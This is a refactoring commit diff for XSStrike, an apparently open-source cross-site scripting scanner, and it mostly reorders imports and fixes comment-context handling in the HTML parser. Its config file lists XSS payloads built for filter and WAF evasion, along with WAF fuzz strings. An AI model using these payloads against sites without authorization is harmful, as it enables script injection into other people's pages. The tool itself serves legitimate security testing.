Fixed HTML comment context handling + Refactor
This commit is contained in:
@@ -1,8 +1,9 @@
|
||||
import re
|
||||
import concurrent.futures
|
||||
from core.requester import requester
|
||||
import re
|
||||
|
||||
from core.colors import good, info, green, end
|
||||
from core.config import blindParams, xsschecker, threadCount
|
||||
from core.requester import requester
|
||||
|
||||
def checky(param, paraNames, url, headers, GET, delay, timeout):
|
||||
if param not in paraNames:
|
||||
|
||||
@@ -1,10 +1,11 @@
|
||||
import re
|
||||
import copy
|
||||
from fuzzywuzzy import fuzz
|
||||
import re
|
||||
from urllib.parse import unquote
|
||||
|
||||
from core.config import xsschecker
|
||||
from core.requester import requester
|
||||
from core.utils import replacer, fillHoles
|
||||
from urllib.parse import unquote
|
||||
|
||||
def checker(url, params, headers, GET, delay, payload, positions, timeout, encoding):
|
||||
checkString = 'st4r7s' + payload + '3nd'
|
||||
@@ -16,7 +17,7 @@ def checker(url, params, headers, GET, delay, payload, positions, timeout, encod
|
||||
for match in re.finditer('st4r7s', response):
|
||||
reflectedPositions.append(match.start())
|
||||
filledPositions = fillHoles(positions, reflectedPositions)
|
||||
# Itretating over the reflections
|
||||
# Itretating over the reflections
|
||||
num = 0
|
||||
efficiencies = []
|
||||
for position in filledPositions:
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
import sys
|
||||
|
||||
colors = True # Output should be colored
|
||||
machine = sys.platform # Detecting the os of current system
|
||||
colors = True # Output should be colored
|
||||
machine = sys.platform # Detecting the os of current system
|
||||
if machine.lower().startswith(('os', 'win', 'darwin', 'ios')):
|
||||
colors = False # Colors shouldn't be displayed in mac & windows
|
||||
colors = False # Colors shouldn't be displayed in mac & windows
|
||||
if not colors:
|
||||
end = red = white = green = yellow = run = bad = good = info = que = ''
|
||||
else:
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
changes = '''bug fixes;detection of up to 66 WAFs'''
|
||||
|
||||
defaultEditor = 'nano'
|
||||
blindPayload = '' # your blind XSS payload
|
||||
xsschecker = 'v3dm0s' # A non malicious string to check for reflections and stuff
|
||||
blindPayload = '' # your blind XSS payload
|
||||
xsschecker = 'v3dm0s' # A non malicious string to check for reflections and stuff
|
||||
|
||||
# More information on adding proxies: http://docs.python-requests.org/en/master/user/advanced/#proxies
|
||||
# More information on adding proxies: http://docs.python-requests.org/en/master/user/advanced/#proxies
|
||||
proxies = {'http' : 'http://0.0.0.0:8080', 'https' : 'http://0.0.0.0:8080'}
|
||||
|
||||
minEfficiency = 90
|
||||
@@ -17,25 +17,25 @@ specialAttributes = ['srcdoc', 'src']
|
||||
|
||||
badTags = ('iframe', 'title', 'textarea', 'noembed', 'style', 'template', 'noscript')
|
||||
|
||||
tags = ('html', 'd3v', 'a', 'details') # HTML Tags
|
||||
tags = ('html', 'd3v', 'a', 'details') # HTML Tags
|
||||
|
||||
jFillings = ('-', '*', ';', '/')
|
||||
lFillings = ('', ' x')
|
||||
eFillings = ('%09', '%0a', '%0d', '+') # "Things" to use between event handler and = or between function and =
|
||||
fillings = ('%09', '%0a', '%0d', '/+/') # "Things" to use instead of space
|
||||
eFillings = ('%09', '%0a', '%0d', '+') # "Things" to use between event handler and = or between function and =
|
||||
fillings = ('%09', '%0a', '%0d', '/+/') # "Things" to use instead of space
|
||||
|
||||
eventHandlers = { # Event handlers and the tags compatible with them
|
||||
eventHandlers = { # Event handlers and the tags compatible with them
|
||||
'ontoggle': ['details'],
|
||||
'onpointerenter': ['d3v', 'details', 'html', 'a'],
|
||||
'onmouseover': ['a', 'html', 'd3v']
|
||||
}
|
||||
|
||||
functions = ( # JavaScript functions to get a popup
|
||||
functions = ( # JavaScript functions to get a popup
|
||||
'[8].find(confirm)', 'confirm()',
|
||||
'(confirm)()', 'co\u006efir\u006d()',
|
||||
'(prompt)``', 'a=prompt,a()')
|
||||
|
||||
payloads = ( # Payloads for filter & WAF evasion
|
||||
payloads = ( # Payloads for filter & WAF evasion
|
||||
'\'"</Script><Html Onmouseover=(confirm)()//'
|
||||
'<imG/sRc=l oNerrOr=(prompt)() x>',
|
||||
'<!--<iMg sRc=--><img src=x oNERror=(prompt)`` x>',
|
||||
@@ -57,7 +57,7 @@ payloads = ( # Payloads for filter & WAF evasion
|
||||
'<img src=x onerror=confir\u006d`1`>',
|
||||
'<svg/onload=co\u006efir\u006d`1`>')
|
||||
|
||||
fuzzes = ( # Fuzz strings to test WAFs
|
||||
fuzzes = ( # Fuzz strings to test WAFs
|
||||
'<test', '<test//', '<test>', '<test x>', '<test x=y', '<test x=y//',
|
||||
'<test/oNxX=yYy//', '<test oNxX=yYy>', '<test onload=x', '<test/o%00nload=x',
|
||||
'<test sRc=xxx', '<test data=asa', '<test data=javascript:asa', '<svg x=y>',
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import re
|
||||
|
||||
from core.colors import red, end, yellow
|
||||
|
||||
def dom(response):
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
import re
|
||||
import base64 as b64
|
||||
import re
|
||||
|
||||
def base64(string):
|
||||
if re.match(r'^[A-Za-z0-9+\/=]+$', string) and (len(string) % 4) == 0:
|
||||
return b64.b64decode(string.encode('utf-8')).decode('utf-8')
|
||||
else:
|
||||
return b64.b64encode(string.encode('utf-8')).decode('utf-8')
|
||||
return b64.b64encode(string.encode('utf-8')).decode('utf-8')
|
||||
|
||||
@@ -1,11 +1,12 @@
|
||||
import copy
|
||||
from time import sleep
|
||||
from random import randint
|
||||
from core.utils import replacer
|
||||
from core.requester import requester
|
||||
from core.config import fuzzes, xsschecker
|
||||
from time import sleep
|
||||
from urllib.parse import unquote
|
||||
|
||||
from core.colors import end, red, green, yellow, bad, good, info
|
||||
from core.config import fuzzes, xsschecker
|
||||
from core.requester import requester
|
||||
from core.utils import replacer
|
||||
|
||||
def counter(string):
|
||||
special = '\'"=/:*&)(}{][><'
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
from core.config import badTags, fillings, eFillings, lFillings, jFillings, eventHandlers, tags, functions
|
||||
from core.jsContexter import jsContexter
|
||||
from core.utils import randomUpper as r, genGen, extractScripts
|
||||
from core.config import badTags, fillings, eFillings, lFillings, jFillings, eventHandlers, tags, functions
|
||||
|
||||
def generator(occurences, response):
|
||||
scripts = extractScripts(response)
|
||||
@@ -83,7 +83,6 @@ def generator(occurences, response):
|
||||
except:
|
||||
continue
|
||||
closer = jsContexter(script)
|
||||
validBreakers = ['\'', '"', '`']
|
||||
scriptEfficiency = occurences[i]['score']['</scRipT/>']
|
||||
greatBracketEfficiency = occurences[i]['score']['>']
|
||||
breakerEfficiency = occurences[i]['score'][breaker]
|
||||
|
||||
@@ -1,23 +1,23 @@
|
||||
import re
|
||||
from core.config import badTags
|
||||
from core.config import xsschecker
|
||||
|
||||
from core.config import badTags, xsschecker
|
||||
|
||||
def htmlParser(response, encoding):
|
||||
rawResponse = response
|
||||
response = response.text
|
||||
if encoding:
|
||||
response = response.replace(encoding(xsschecker), xsschecker)
|
||||
tags = [] # tags in which the input is reflected
|
||||
locations = [] # contexts in which the input is reflected
|
||||
attributes = [] # attribute names
|
||||
environments = [] # strings needed to break out of the context
|
||||
tags = [] # tags in which the input is reflected
|
||||
locations = [] # contexts in which the input is reflected
|
||||
attributes = [] # attribute names
|
||||
environments = [] # strings needed to break out of the context
|
||||
positions = []
|
||||
for match in re.finditer(xsschecker, response):
|
||||
positions.append(match.start())
|
||||
parts = response.split(xsschecker)
|
||||
parts.remove(parts[0]) # remove first element since it doesn't contain xsschecker
|
||||
parts = [xsschecker + s for s in parts] # add xsschecker in front of all elements
|
||||
for part in parts: # iterate over the parts
|
||||
parts.remove(parts[0]) # remove first element since it doesn't contain xsschecker
|
||||
parts = [xsschecker + s for s in parts] # add xsschecker in front of all elements
|
||||
for part in parts: # iterate over the parts
|
||||
deep = part.split('>')
|
||||
if '</script' in deep[0]:
|
||||
location = 'script'
|
||||
@@ -38,31 +38,31 @@ def htmlParser(response, encoding):
|
||||
if '<' not in response:
|
||||
if rawResponse.headers['Content-Type'] == 'text/html':
|
||||
location = 'html'
|
||||
locations.append(location) # add location to locations list
|
||||
num = 0 # dummy value to keep record of occurence being processed
|
||||
for occ in re.finditer(xsschecker, response, re.IGNORECASE): # find xsschecker in response and return matches
|
||||
toLook = list(response[occ.end():]) # convert "xsschecker to EOF" into a list
|
||||
for loc in range(len(toLook)): # interate over the chars
|
||||
if toLook[loc] in ('\'', '"', '`'): # if the char is a quote
|
||||
environments.append(toLook[loc]) # add it to enviornemts list
|
||||
locations.append(location) # add location to locations list
|
||||
num = 0 # dummy value to keep record of occurence being processed
|
||||
for occ in re.finditer(xsschecker, response, re.IGNORECASE): # find xsschecker in response and return matches
|
||||
toLook = list(response[occ.end():]) # convert "xsschecker to EOF" into a list
|
||||
for loc in range(len(toLook)): # interate over the chars
|
||||
if toLook[loc] in ('\'', '"', '`'): # if the char is a quote
|
||||
environments.append(toLook[loc]) # add it to enviornemts list
|
||||
tokens = response.split('<')
|
||||
goodTokens = [] # tokens which contain xsschecker
|
||||
for token in tokens: # iterate over tokens
|
||||
if xsschecker in token: # if xsschecker is in token
|
||||
goodTokens.append(token) # add it to goodTokens list
|
||||
goodTokens = [] # tokens which contain xsschecker
|
||||
for token in tokens: # iterate over tokens
|
||||
if xsschecker in token: # if xsschecker is in token
|
||||
goodTokens.append(token) # add it to goodTokens list
|
||||
attrs = token.split(' ')
|
||||
for attr in attrs:
|
||||
if xsschecker in attr:
|
||||
attributes.append(attr.split('=')[0])
|
||||
break
|
||||
try:
|
||||
tag = re.search(r'\w+', goodTokens[num]).group() # finds the tag "inside" which input is refelcted
|
||||
tag = re.search(r'\w+', goodTokens[num]).group() # finds the tag "inside" which input is refelcted
|
||||
except IndexError:
|
||||
try:
|
||||
tag = re.search(r'\w+', goodTokens[num - 1]).group() # finds the tag "inside" which input is refelcted
|
||||
tag = re.search(r'\w+', goodTokens[num - 1]).group() # finds the tag "inside" which input is refelcted
|
||||
except IndexError:
|
||||
tag = 'null'
|
||||
tags.append(tag) # add the tag to the tags
|
||||
tags.append(tag) # add the tag to the tags
|
||||
break
|
||||
elif toLook[loc] == '<':
|
||||
if toLook[loc + 1] == '/':
|
||||
@@ -79,8 +79,8 @@ def htmlParser(response, encoding):
|
||||
occurences = {}
|
||||
for i, loc, env, tag, attr, position in zip(range(len(locations)), locations, environments, tags, attributes, positions):
|
||||
occurences[i] = {}
|
||||
if loc == 'comment':
|
||||
value = '-->'
|
||||
occurences[i]['position'] = position
|
||||
if loc == 'comment':
|
||||
env = '-->'
|
||||
occurences[i]['context'] = [loc, env, tag, attr]
|
||||
return [occurences, positions]
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import re
|
||||
from core.utils import stripper
|
||||
|
||||
from core.config import xsschecker
|
||||
from core.utils import stripper
|
||||
|
||||
def jsContexter(script):
|
||||
broken = script.split(xsschecker)
|
||||
@@ -28,4 +29,4 @@ def jsContexter(script):
|
||||
elif breaker == ']':
|
||||
breaker = stripper(breaker, ']')
|
||||
num += 1
|
||||
return breaker[::-1]
|
||||
return breaker[::-1]
|
||||
|
||||
@@ -1,17 +1,16 @@
|
||||
# Let's import what we need
|
||||
from re import findall
|
||||
import concurrent.futures
|
||||
from re import findall
|
||||
from urllib.parse import urlparse
|
||||
|
||||
from core.colors import run
|
||||
from core.zetanize import zetanize
|
||||
from core.requester import requester
|
||||
from core.utils import getUrl, getParams
|
||||
from core.requester import requester
|
||||
from core.zetanize import zetanize
|
||||
|
||||
def photon(seedUrl, headers, level, threadCount, delay, timeout):
|
||||
forms = [] # web forms
|
||||
processed = set() # urls that have been crawled
|
||||
storage = set() # urls that belong to the target i.e. in-scope
|
||||
forms = [] # web forms
|
||||
processed = set() # urls that have been crawled
|
||||
storage = set() # urls that belong to the target i.e. in-scope
|
||||
schema = urlparse(seedUrl).scheme
|
||||
host = urlparse(seedUrl).netloc
|
||||
main_url = schema + '://' + host
|
||||
@@ -29,8 +28,8 @@ def photon(seedUrl, headers, level, threadCount, delay, timeout):
|
||||
response = requester(url, params, headers, True, delay, timeout).text
|
||||
forms.append(zetanize(response))
|
||||
matches = findall(r'<[aA].*href=["\']{0,1}(.*?)["\']', response)
|
||||
for link in matches: # iterate over the matches
|
||||
link = link.split('#')[0] # remove everything after a "#" to deal with in-page anchors
|
||||
for link in matches: # iterate over the matches
|
||||
link = link.split('#')[0] # remove everything after a "#" to deal with in-page anchors
|
||||
if link[:4] == 'http':
|
||||
if link.startswith(main_url):
|
||||
storage.add(link)
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import os
|
||||
import tempfile
|
||||
|
||||
from core.config import defaultEditor
|
||||
|
||||
def prompt(default=None):
|
||||
|
||||
@@ -1,7 +1,8 @@
|
||||
import time
|
||||
import random
|
||||
import warnings
|
||||
import requests
|
||||
import time
|
||||
import warnings
|
||||
|
||||
import core.config
|
||||
|
||||
warnings.filterwarnings('ignore') # Disable SSL related warnings
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
import re
|
||||
import os
|
||||
import re
|
||||
from requests import get
|
||||
|
||||
from core.config import changes
|
||||
from core.colors import run, que, good, info, red, end, green
|
||||
from core.colors import run, que, good, info, end, green
|
||||
|
||||
def updater():
|
||||
print('%s Checking for updates' % run)
|
||||
@@ -27,4 +28,4 @@ def updater():
|
||||
os.system('cp -r %s/%s/* %s && rm -r %s/%s/ 2>/dev/null' % (path, folder, path, path, folder))
|
||||
print('%s Update successful!' % good)
|
||||
else:
|
||||
print('%s XSStrike is up to date!' % good)
|
||||
print('%s XSStrike is up to date!' % good)
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
import re
|
||||
import json
|
||||
import random
|
||||
from core.config import xsschecker
|
||||
import re
|
||||
|
||||
from core.colors import info, red, end
|
||||
from core.config import xsschecker
|
||||
|
||||
def verboseOutput(data, name, verbose):
|
||||
if verbose:
|
||||
@@ -131,4 +132,4 @@ def getParams(url, data, GET):
|
||||
params[each[0]] = each[1]
|
||||
except IndexError:
|
||||
params = None
|
||||
return params
|
||||
return params
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import re
|
||||
import json
|
||||
import re
|
||||
|
||||
from core.requester import requester
|
||||
|
||||
def wafDetector(url, params, headers, GET, delay, timeout):
|
||||
|
||||
@@ -36,4 +36,4 @@ def zetanize(response):
|
||||
}
|
||||
forms[num]['inputs'].append(inpDict)
|
||||
num += 1
|
||||
return forms
|
||||
return forms
|
||||
|
||||
@@ -33,7 +33,7 @@ print('''%s
|
||||
|
||||
try:
|
||||
import concurrent.futures
|
||||
from urllib.parse import quote_plus, unquote, urlparse
|
||||
from urllib.parse import unquote, urlparse
|
||||
except ImportError: # throws error in python2
|
||||
print('%s XSStrike isn\'t compatible with python2.\n Use python > 3.4 to run XSStrike.' % bad)
|
||||
quit()
|
||||
@@ -215,7 +215,6 @@ def singleTarget(target, paramData, verbose, encoding):
|
||||
|
||||
|
||||
def multiTargets(scheme, host, main_url, form, domURL, verbose, blindXSS, blindPayload, headers, delay, timeout):
|
||||
signatures = set() # TODO(NN) unused
|
||||
if domURL and not skipDOM:
|
||||
response = requester(domURL, {}, headers, True, delay, timeout).text
|
||||
highlighted = dom(response)
|
||||
|
||||
Reference in New Issue
Block a user